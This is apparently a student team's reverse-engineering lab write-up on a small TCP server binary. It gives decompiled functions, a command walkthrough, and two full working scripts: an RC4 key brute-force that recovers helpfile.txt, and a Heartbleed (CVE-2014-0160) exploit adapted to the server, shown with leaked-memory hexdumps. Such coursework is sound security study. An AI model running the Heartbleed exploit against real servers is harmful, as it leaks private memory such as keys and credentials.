# `_hackers_` Group
## Overview
### Members
- Alex
- Angel
- Brent
- Jesse
### Project Requirements:
1. Identify the main functionality of the binary - what does it do, what is it's purpose :ballot_box_with_check:
- This binary implements a TCP server listening on port 9876 (IPv6). Connecting to this port will yield a command prompt. The command prompt accepts inputs of up two integers separated by a space. If the first integer is the following values the binary will do the following:
- 0: Closes the connection
- 1: Sets the local variable command_3_flag to 1 if the second number is either '-1', or matches the argument previously entered by command 2
- 2: Saves the seconds variable to memory for use in command 1 or 3
- 3: Only runs if command_3_flag is enabled, set in command 1. If it's enabled the binary creates a hash from 5 bytes (first 4 is the number from command 2, 5th byte is pseudo-random). Uses this hash as a key to RC4-encrypt the data located within helpfile.txt and sends it back to the client
- 4: Listens for a TLS 1.2 Client Hello, if received completes the TLS handshake and then sends the following rot-13 encoded string back to the client via the TLS connection:
```!
gur fherfg jnl gb xrrc n frperg vf gb znxr fbzrbar guvax gurl nyernql xabj gur nafjre
```
which when rot-13 decoded reads:
```!
the surest way to keep a secret is to make someone think they already know the answer
```
During the execution of the non-standard STARTTLS option (sending `b'4 0\n'`) the contents of the `secretfile.txt` are copied to an unaccess memory location. This allows us to use the heartbleed exploit to dump the servers memory and thus contents of the `secretfile.txt`
- 5: Sends the string 'Alive\n' to the client
2. Identify, with evidence the how of Q1 :ballot_box_with_check:
- main (fun_00403650) creates a TCP socket (0x004036d1) using an in6addr_any for port htons(0x2364 -> 9876).
- It then binds and listens to this created socket (indicating it's a server or serverlike)
- Creates a thread running fun_004033bf (a client handler function)
- The client handler then has a switch statement looking for single numbers 0-5
- Before main setup up any sockets it calls fun_0040357f, which does some initialization (which includes reading the "secretfile.txt" into it's memory)
- When the client sends a `4` to the server it goes into fun_0040295b and then expects the client to connect to it via a SSL connection. This can be seem from an fwrite call `fwrite("Problem during SSL_accept\n",1,0x1a,stderr)` shortly after entering the function for case 4. If the client connects via SSL then the server will send back a short string that can be rot13 shfited to read (server does not rot13 it's string).
3. Are there any bugs/vulnerabilities/special features - can it/they be exploited? :ballot_box_with_check:
- The contents of `helpfile.txt` are succeptible to a brute-force attack
- Due to `binary` server's use of OpenSSL v1.0.1f (which is vulnerable to heartbleed) the contents of `secretfile.txt` which is loaded into memory are succeptible to client-side expoitation via memory-leak.
4. Identify the how of Q3 (if believed) :ballot_box_with_check:
- Leaking `helpfile.txt` contents:
- By using a combination of commands 1, 2, and 3, a client can request the encrypted contents of `helpfile.txt`.
- The RC4 algorithm is used to encrypt the contents of `helpfile.txt` before sending it the client.The symmetric key used for the encryption is the MD5 hash of five bytes, four of which the client controls. Because only one byte is random, there are 256 possible keys that are used to encrypt the buffer. An attacker would then be able to use a program to brute force all possible keys and decrypt the contents of helpfile.txt in less than a second. (Reference A)
- Leaking `secretfile.txt` contents:
- The program uses a vulnerable version of OpenSSL (v1.0.1f). This version is vulnerable to *heartbleed* :broken_heart:, which allows an unauthenticated attacker to leak server memory. By abusing command 4 of the program which starts a SSL connection, an attacker could leak the contents of secretfile.txt from the heap by using the heartbleed vulnerability. (Reference B)
**Reference A**
```bash=
$ echo "this is my helpfile contents" > helpfile.txt
$ ./binary &
[1] 6927
$ ./leak_helpfile.py localhost
Got connection from: ::1 36494
Session finished with: ::1 36494
Decrypted contents:
1: this is my helpfile contents
```
**Reference B**
```bash=
$ echo "super secret contents." > secretfile.txt
$ ./binary &
[1] 7977
$ ./heartbleed.py localhost -p 9876 | tail -n 10
Got connection from: ::ffff:127.0.0.1 9452
Problem during SSL_accept
Session finished with: ::ffff:127.0.0.1 9452
3f80: 63 6F 6E 74 65 6E 74 73 2E 0A 73 75 70 65 72 20 contents..super
3f90: 73 65 63 72 65 74 20 63 6F 6E 74 65 6E 74 73 2E secret contents.
3fa0: 0A 73 75 70 65 72 20 73 65 63 72 65 74 20 63 6F .super secret co
3fb0: 6E 74 65 6E 74 73 2E 0A 73 75 70 65 72 20 73 65 ntents..super se
3fc0: 63 72 65 74 20 63 6F 6E 74 65 6E 74 73 2E 0A 73 cret contents..s
3fd0: 75 70 65 72 20 73 65 63 72 65 74 20 63 6F 6E 74 uper secret cont
3fe0: 65 6E 74 73 2E 0A 73 75 70 65 72 20 73 65 63 72 ents..super secr
3ff0: 65 74 20 63 6F 6E 74 65 6E 74 73 2E 0A 73 75 70 et contents..sup
WARNING: server returned more data than it should - server is vulnerable!
```
5. Periodically Scrum with team to discuss findings (x4) :ballot_box_with_check:
6. Compose a final summary and submit upon completion of lab :ballot_box_with_check:
### Key Files:
- `./secretfile.txt`
- `./helpfile.txt`
- `./cert.pem`
- `./key.pem`
## `MAIN_FUN_00403650()`
```clike=
int main(void)
```
main (fun_00403650) creates a TCP socket (0x004036d1) using an in6addr_any for port htons(0x2364 -> 9876)
## `FUN_0040357f()`
Appers to read the secret file then try to determine what certificate type we are using to init an SSL Connection
## `FUN_00402863()` -> `read_secretfile_00402863()`
```clike=
int read_secretfile_00402863(void)
{
int fd;
__off_t off;
ssize_t bytes_read;
int return_val;
return_val = -1;
fd = open("./secretfile.txt",0);
if (fd == -1) {
fwrite("Unable to open file containing the secrets\n",1,0x2b,stderr);
}
else {
g_secretfile_txt_len = lseek(fd,0,SEEK_END);
if (g_secretfile_txt_len == 0xffffffffffffffff) {
perror("lseek");
}
else {
off = lseek(fd,0,SEEK_SET);
if (off == -1) {
perror("lseek");
}
else {
g_secretfile_contents_589ad0 = malloc(g_secretfile_txt_len);
bytes_read = read(fd,g_secretfile_contents_589ad0,g_secretfile_txt_len);
if (bytes_read == -1) {
perror("read");
}
else {
return_val = 0;
}
}
}
}
return return_val;
}****
```
* Opens `./secretfile.txt`
* Finds the size and stores in: `DAT_00589ad8`
* Reads file of above size to: `DAT_00589ad0`
Saving Data sections as:
* `DAT_00589ad8`: secret_file_size
* `DAT_00589ad0`: secret_file_cont
## `FUN_00402802`
```clike=
void copy_src_to_dst_00402802(void *src_buf,size_t src_len,void *dst_buf,long dst_len)
```
* dst_len: 17736
## `FUN_004033bf (client_data_structure *param_1)`
- Looks like a threaded function to handle connections (passed into pthread_create)
client_data_structure (size 32):
offset 0 - int client_connection_socket
offset 4 - sockaddr_in6 client_address
```clike=
/* WARNING: Could not reconcile some variable overlaps */
void pthread_start_routine_004033bf(client_data_structure *p_client_connection)
{
int iVar1;
char *client_ip_address_string;
char client_ip_address_buffer [47];
undefined4 local_34;
int client_int2;
int client_int1;
client_data_structure *context_data;
int local_20;
int local_1c;
ushort client_port;
local_1c = 0;
local_20 = -1;
local_34 = 0x44454553;
client_ip_address_buffer._0_8_ = 0;
client_ip_address_buffer._8_8_ = 0;
client_ip_address_buffer._16_8_ = 0;
client_ip_address_buffer._24_8_ = 0;
client_ip_address_buffer._32_8_ = 0;
client_ip_address_buffer._40_4_ = 0;
client_ip_address_buffer._44_2_ = 0;
client_ip_address_buffer[46] = '\0';
client_port = (p_client_connection->client_address).sin6_port;
context_data = p_client_connection;
client_ip_address_string =
inet_ntop(10,&(p_client_connection->client_address).sin6_addr,client_ip_address_buffer,0x2f);
fprintf(stderr,"Got connection from: %s %d\n",client_ip_address_string,(ulong)client_port);
do {
client_int2 = 0;
client_int1 = get_2_integers_from_fd(context_data->client_sock,&client_int2);
switch(client_int1) {
case 1:
if (local_20 == client_int2) {
local_1c = 1;
}
break;
case 2:
if (client_int2 != 0) {
local_20 = client_int2;
}
break;
case 3:
if (local_1c != 0) {
FUN_00402fab(context_data->client_sock,local_20,&local_34);
}
break;
case 4:
FUN_0040295b(context_data->client_sock);
case 0:
LAB_00403532:
fprintf(stderr,"Session finished with: %s %d\n",client_ip_address_buffer,
(ulong)(context_data->client_address).sin6_port);
close(context_data->client_sock);
free(context_data);
return;
case 5:
iVar1 = send_bytes_to_fd_00402c1f(context_data->client_sock,"Alive\n",6);
if (iVar1 == -1) {
perror("send");
goto LAB_00403532;
}
}
} while( true );
}
```
## `FUN_00402c21f`
Essentially a `sendall` that will handle partial writes to a fd or socket.
```clike=
int send_bytes_to_fd_00402c1f(int fd,char *buf,int len)
{
ssize_t sVar1;
undefined4 in_register_00000014;
ulong bytes_sent;
bytes_sent = 0;
while( true ) {
if (CONCAT44(in_register_00000014,len) <= bytes_sent) {
return len;
}
sVar1 = send(fd,buf + bytes_sent,CONCAT44(in_register_00000014,len) - bytes_sent,0x4000);
if ((int)sVar1 == -1) break;
bytes_sent = bytes_sent + (long)(int)sVar1;
}
perror("send");
return -1;
}
```
## FUN_0040295b
Appears to be `start_tls`
```clike=
/* WARNING: Could not reconcile some variable overlaps */
int command_4_0040295b(int client_sock)
{
int ssl_ret;
SSL_CTX *ctx;
SSL *ssl;
void *__ptr;
char *secretfile_contents;
undefined8 bytes_written;
char rot13_buffer [85];
SSL *fake_var;
int buffer_index;
int ret_val;
/* gur fherfg jnl gb xrrc n frperg vf gb znxr fbzrbar guvax gurl nyernql xabj
gur nafjre
rot 13:
the surest way to keep a secret is to make someone think they already know
the answer */
rot13_buffer._0_8_ = 0x7265686620727567;
rot13_buffer._8_8_ = 0x67206c6e6a206766;
rot13_buffer._16_8_ = 0x6e20637272782062;
rot13_buffer._24_8_ = 0x2067726570726620;
rot13_buffer._32_8_ = 0x6e7a206267206676;
rot13_buffer._40_8_ = 0x62727a6266207278;
rot13_buffer._48_8_ = 0x7861767567207261;
rot13_buffer._56_8_ = 0x796e206c72756720;
rot13_buffer._64_8_ = 0x6178206c716e7265;
rot13_buffer._72_8_ = 0x6e20727567206a62;
rot13_buffer._80_4_ = 0x726a6661;
rot13_buffer[84] = 'e';
ret_val = -1;
ctx = (SSL_CTX *)get_TLS_1.2_RSA_ctx_00402716();
if (ctx != (SSL_CTX *)0x0) {
ssl = (SSL *)SSL_new(ctx);
if (ssl == (SSL *)0x0) {
fwrite("Unable to create new SSL\n",1,0x19,stderr);
fflush_00459400(stderr);
}
else {
ssl_ret = SSL_set_fd(ssl,client_sock);
if (ssl_ret == 1) {
__ptr = malloc(0x4548);
secretfile_contents = (char *)malloc(0x4548);
copy_src_to_dst_00402802
(g_secretfile_contents_589ad0,g_secretfile_txt_len,secretfile_contents,0x4548);
free(__ptr);
ssl_ret = SSL_accept_40ef60(ssl);
if (ssl_ret < 1) {
fwrite("Problem during SSL_accept\n",1,0x1a,stderr);
fflush_00459400(stderr);
}
else {
for (buffer_index = 0; buffer_index < 0x55; buffer_index = buffer_index + 1) {
usleep(3000);
bytes_written = SSL_write_0040b6a0(ssl,rot13_buffer + buffer_index,1);
if ((int)bytes_written < 0) {
fwrite("unable to SSL_write\n",1,0x14,stderr);
fflush_00459400(stderr);
goto LAB_00402bf3;
}
if ((int)bytes_written == 0) {
fwrite("Client exited early\n",1,0x14,stderr);
goto LAB_00402bf3;
}
}
ret_val = 0;
}
LAB_00402bf3:
free(secretfile_contents);
}
else {
fwrite("Unable to set fd for STARTTLS\n",1,0x1e,stderr);
fflush_00459400(stderr);
}
SSL_free_0040e920(ssl);
}
SSL_CTX_free(ctx);
}
return ret_val;
}
```
## Socket Listening
```cmd=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP) = 4
setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(4, {sa_family=AF_INET6, sin6_port=htons(9876), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "::", &sin6_addr), sin6_scope_id=0}, 28) = 0
listen(4, 3) = 0
accept(4, 0x1278464, [28])
```
## FUN_00402c9c()
```clike=
ulong read_all(int sock,long buff,ulong buff_len)
{
bool bVar1;
int offset;
ssize_t bytes_recvd;
int *errno_ptr;
ulong total_bytes;
total_bytes = 0;
bVar1 = false;
do {
if (buff_len <= total_bytes) {
LAB_00402d5c:
if (!bVar1) {
errno_ptr = __errno_location();
*errno_ptr = 0x5a;
total_bytes = 0xffffffff;
}
return total_bytes;
}
bytes_recvd = recv(sock,(void *)(buff + total_bytes),1,0);
offset = (int)bytes_recvd;
if (offset == -1) {
perror("recv");
return 0xffffffff;
}
if (offset == 0) {
errno_ptr = __errno_location();
*errno_ptr = 0x6b;
return 0xffffffff;
}
if (*(char *)(total_bytes + buff) == '\n') {
*(undefined *)(total_bytes + buff) = 0;
bVar1 = true;
goto LAB_00402d5c;
}
total_bytes = total_bytes + (long)offset;
} while( true );
}
```
Example interaction with listener:
```bash=
[student@vm ~]$ nc ::1 9876
CMD > ls
CMD > help
CMD > hi
CMD > pwd
CMD > exit
CMD >
```
You must enter two integers to get the binary to properly do stuff
the first integer must be one of [ 0, 1, 2, 3, 4, 5 ]
## Available commands:
- `0 <not_used>`
- closes the session
- `1 -1`
- this sets a local flag to enabled, this MUST be run to get stage 3 to work
- `2 <number>`
- saves `number` to a local variable used in stage 3
- `3 <not_used>`
- reads the contents from `./helpfile.txt` into a local buffer
- creates an MD5 hash from fives bytes
- the first 4 bytes is the integer from stage 2
- the next byte is a random byte using the function `rand_r`
- TODO: it doesn't look like `srand` is called directly, but maybe it's called by a sub-library, we should check if this byte is predictable
- even if it is properly randomized, this is probably brute-forceable because there are only 256 possible values
- the MD5 hash from above is used as an RC4 key to encrypt the bytes within helpfile.txt
- the line 'sz:length_of_helpfile.txt' is sent back to the client
- the raw bytes of the encrypted helpfile buffer are sent back to the client
- `4` `FUN_0040295b`
- opens `./cert.pem` and `./key.pem`
- creates ssl session
- reads the contents from secretfile.txt (already has it in memory?)
- copies it's contents to another location
- FUN_00402802(src, size1, dest, size2)
- src holds repeated secretfile contents (DAT_00589ad0)
- gets copied into dest (which is later freed without being used?)
- after the free the memory contains:
- 0xf001a340 0xf0000080
- attempts to SSL_write to user (FUN_0040b6a0)
- `5`
- sends the string `Alive\n` to the client. Currently don't think this is useful
### Example
```bash=
nc localhost 9876
CMD > 1 -1
CMD > 2 1111
CMD > 3 0
sz:5
KAHCMD > 0
```
### Reading the string from stage 4
```python=
#!/usr/bin/env python3
import socket
import ssl
import argparse
from sys import argv,stdin
import select
from time import sleep
import codecs
def main():
hostname = "localhost"
port = 9876
#context = ssl._create_unverified_context()
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_verify_locations("cert.pem")
with socket.create_connection((hostname, port)) as sock:
sock.recv(6)
sock.send(b'4 0\n')
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
b = bytearray()
while True:
data = ssock.recv(1)
if not data:
break
b.extend(data)
print(b.decode())
print(codecs.decode(b.decode(), 'rot_13'))
return
if __name__ == "__main__":
main()
```
```bash=
$ ./stage4.py
gur fherfg jnl gb xrrc n frperg vf gb znxr fbzrbar guvax gurl nyernql xabj gur nafjre
the surest way to keep a secret is to make someone think they already know the answer
```
```clike=
undefined8
connection_handler(undefined8 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
undefined4 param_5,undefined4 param_6,undefined4 param_7,undefined4 param_8,
uint *param_9)
{
char *address;
ulong valid_send;
ulong new_port?;
undefined8 extraout_RDX;
uint *cmd2_user;
undefined8 in_R8;
undefined8 in_R9;
undefined8 extraout_XMM0_Qa;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined4 local_40;
undefined2 local_3c;
undefined local_3a;
uint local_34;
uint org_cmd2;
undefined4 cmd1;
uint *sock;
uint change_flag;
int case1_flag;
ushort port;
case1_flag = 0;
change_flag = 0xffffffff;
local_34 = 0x44454553;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_3c = 0;
local_3a = 0;
port = *(ushort *)((long)param_9 + 6);
new_port? = (ulong)port;
sock = param_9;
address = inet_ntop(10,param_9 + 3,(char *)&local_68,0x2f);
fprintf(stderr,"Got connection from: %s %d\n",address,(uint)port);
do {
org_cmd2 = 0;
cmd2_user = &org_cmd2;
cmd1 = get_cmd(*sock,cmd2_user);
switch(cmd1) {
case 1:
if (change_flag == org_cmd2) {
case1_flag = 1;
}
break;
case 2:
if (org_cmd2 != 0) {
change_flag = org_cmd2;
}
break;
case 3:
if (case1_flag != 0) {
new_port? = (ulong)change_flag;
FUN_00402fab(extraout_XMM0_Qa,param_2,param_3,param_4,param_5,param_6,param_7,param_8,*sock,
change_flag,&local_34);
}
break;
case 4:
tls_handler(extraout_XMM0_Qa,param_2,param_3,param_4,param_5,param_6,param_7,param_8,*sock,
cmd2_user,extraout_RDX,new_port?,in_R8,in_R9);
case 0:
close_connection:
fprintf(stderr,"Session finished with: %s %d\n",(char *)&local_68,
(uint)*(ushort *)((long)sock + 6));
close(*sock);
free(sock);
return 0;
case 5:
valid_send = send_all(*sock,(long)"Alive\n",6);
if ((int)valid_send == -1) {
perror("send");
goto close_connection;
}
}
} while( true );
}
```
### Leaking `helpfile.txt` script
```python
#!/usr/bin/env python3
import socket
from sys import argv
from hashlib import md5
def get_encrypted_helpfile(server, first_int):
port = 9876
res = bytearray()
with socket.create_connection((server, port)) as sock:
sock.recv(6)
sock.send(b'1 -1\n')
sock.recv(6)
sock.send(f"2 {first_int}\n".encode())
sock.recv(6)
sock.send(b'3 0\n')
while True:
data = sock.recv(1024)
if len(data) >= 6 and data[-6:] == b"CMD > ":
res.extend(data[:-6])
break
else:
res.extend(data)
sock.send(b'0 0\n')
line_index = res.index(b"\n")
buf_len_string = res[res.index(b":") + 1: line_index]
buf_len = int(buf_len_string.decode())
buf = res[line_index + 1 : line_index + 1 + buf_len]
return buf
def create_hash(first_int, second_byte):
m = md5()
m.update(first_int.to_bytes(4, "little"))
m.update(second_byte)
return m.digest()
def rc4_decrypt(ciphertext, key):
S = list(range(256))
j = 0
out = bytearray()
for i in range(256):
j = (j + S[i] + key[i % len(key)] ) % 256
S[i] , S[j] = S[j] , S[i]
i = j = 0
for char in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i] , S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])
return out
def main():
if len(argv) != 2:
print(f"Usage: {argv[0]} <server>")
return
target = argv[1]
encrypted_buf = get_encrypted_helpfile(target, 1111)
likely = []
unlikely = []
for i in range(256):
second_byte = i.to_bytes(1, "big")
key = create_hash(1111, second_byte)
plainbytes = rc4_decrypt(encrypted_buf, key)
try:
plaintext = plainbytes.decode()
likely.append(plaintext)
except:
unlikely.append(plainbytes)
print(f"Possible contents:")
for i, plain in enumerate(likely):
print(f"{i+1}: {plain}")
#print(f"Possible contents (less likely):")
#for plain in unlikely:
# print(f" {plain}")
# print(" ------------")
if __name__ == "__main__":
main()
```
## Heartbleed script `heartbleed.py`
- Modified https://gist.github.com/akshatmittal/10279360 to include `binary` servers non-standard STARTTLS implemenation by receiving the "CMD" shell and sending `b'4 0\n'`
```python=
#!/usr/bin/env python3
#
# Usage: python heartbleed.py <host>
#
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
import codecs
from optparse import OptionParser
decode_hex = codecs.getdecoder('hex_codec')
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
def h2bin(x):
return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat = ''.join(chr(c) if 32 <= c <= 126 else '.' for c in lin)
print( ' %04x: %-48s %s' % (b, hxdat, pdat))
print()
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = b''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print( 'Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print( 'Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print( ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print( 'No heartbeat response received, server likely not vulnerable')
return False
if typ == 24:
print( 'Received heartbeat response:')
hexdump(pay)
if len(pay) > 3:
print( 'WARNING: server returned more data than it should - server is vulnerable!')
else:
print( 'Server processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
print( 'Received alert:')
hexdump(pay)
print( 'Server returned error, likely not vulnerable')
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print( 'Connecting...')
sys.stdout.flush()
s.connect((args[0], opts.port))
s.recv(6)
s.send(b"4 0\n")
print( 'Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
print( 'Waiting for Server Hello...')
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print( 'Server closed connection without sending Server Hello.')
return
# Look for server hello done message.
if typ == 22 and pay[0] == 0x0E:
break
print( 'Sending heartbeat request...')
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
```
Proof of exploit:
```bash=
./heartbleed.py localhost -p 9876
```
```hexdump=
3eb0: 74 68 65 20 73 65 63 72 65 74 20 66 69 6C 65 0A the secret file.
3ec0: 74 68 69 73 20 69 73 20 74 68 65 20 63 6F 6E 74 this is the cont
3ed0: 65 6E 74 73 20 6F 66 20 74 68 65 20 73 65 63 72 ents of the secr
3ee0: 65 74 20 66 69 6C 65 0A 74 68 69 73 20 69 73 20 et file.this is
3ef0: 74 68 65 20 63 6F 6E 74 65 6E 74 73 20 6F 66 20 the contents of
3f00: 74 68 65 20 73 65 63 72 65 74 20 66 69 6C 65 0A the secret file.
3f10: 74 68 69 73 20 69 73 20 74 68 65 20 63 6F 6E 74 this is the cont
3f20: 65 6E 74 73 20 6F 66 20 74 68 65 20 73 65 63 72 ents of the secr
3f30: 65 74 20 66 69 6C 65 0A 74 68 69 73 20 69 73 20 et file.this is
3f40: 74 68 65 20 63 6F 6E 74 65 6E 74 73 20 6F 66 20 the contents of
3f50: 74 68 65 20 73 65 63 72 65 74 20 66 69 6C 65 0A the secret file.
3f60: 74 68 69 73 20 69 73 20 74 68 65 20 63 6F 6E 74 this is the cont
3f70: 65 6E 74 73 20 6F 66 20 74 68 65 20 73 65 63 72 ents of the secr
3f80: 65 74 20 66 69 6C 65 0A 74 68 69 73 20 69 73 20 et file.this is
3f90: 74 68 65 20 63 6F 6E 74 65 6E 74 73 20 6F 66 20 the contents of
3fa0: 74 68 65 20 73 65 63 72 65 74 20 66 69 6C 65 0A the secret file.
3fb0: 74 68 69 73 20 69 73 20 74 68 65 20 63 6F 6E 74 this is the cont
3fc0: 65 6E 74 73 20 6F 66 20 74 68 65 20 73 65 63 72 ents of the secr
3fd0: 65 74 20 66 69 6C 65 0A 74 68 69 73 20 69 73 20 et file.this is
3fe0: 74 68 65 20 63 6F 6E 74 65 6E 74 73 20 6F 66 20 the contents of
3ff0: 74 68 65 20 73 65 63 72 65 74 20 66 69 6C 65 0A the secret file.
WARNING: server returned more data than it should - server is vulnerable!
```